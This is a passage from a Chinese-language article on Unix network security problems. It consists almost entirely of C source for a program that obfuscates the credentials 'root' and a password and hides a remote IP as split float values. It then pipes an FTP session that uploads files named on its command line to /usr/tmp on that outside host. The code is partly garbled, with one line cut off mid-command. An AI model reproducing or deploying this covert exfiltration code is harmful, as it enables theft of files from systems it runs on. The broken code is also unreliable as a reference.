|
Unix网络的两个安全问题(3) main(int argc,char *argv[]) { int i,u1,u2,u3,u4; float ip1,ip2; char pw[10]=“”,us[5]=“”,ftpn[4]=“”; char ftpcmd[500]=“”,runl[10]=“”; char ftpprt[256]=“”; FILE *fftp;
if(argc>1) { us[0]=‘u’;us[1]=‘s’;us[2]=‘e’;us[3]=‘r’; u1=‘r’;u2=‘o’;u3=‘o’;u4=‘t’; pw[0]=‘5’;pw[1]=‘1’;pw[2]=‘2’; pw[3]=‘7’;pw[4]=‘3’; pw[5]=‘7’;pw[6]=‘4’; ftpn[0]=‘f’;ftpn[1]=‘t’;ftpn[2]=‘p’; ip1=106.73;ip2=168.13; printf(“\f 从本机数据:\n”); for(i=1;i<argc;i++) { sprintf(runl,“l %s”,argv[i]); system(runl); } sprintf(ftpcmd,“%s%s -n -i %.2f.%.2f < sprintf(ftpcmd,“%s%s %c%c%c%c %s \n”,ftpcmd,us,u1,u2,u3,u4,pw); sprintf(ftpcmd,“%scd /usr/tmp \n”,ftpcmd); for(i=1;i<argc;i++) { sprintf(ftpcmd,“%sput %s \n”,ftpcmd,argv[i]); sprintf(ftpcmd,“%sls %s \n”,ftpcmd,argv[i]); } sprintf(ftpcmd,“%sCMD\n”,ftpcmd); printf(“\n正在发送……\n”); fftp=popen(ftpcmd,“r”); i=0; while(fgets(ftpprt,256,fftp)!=NULL) { i++; if(i>0) printf(“%s”,ftpprt); } pclose(fftp); } }
|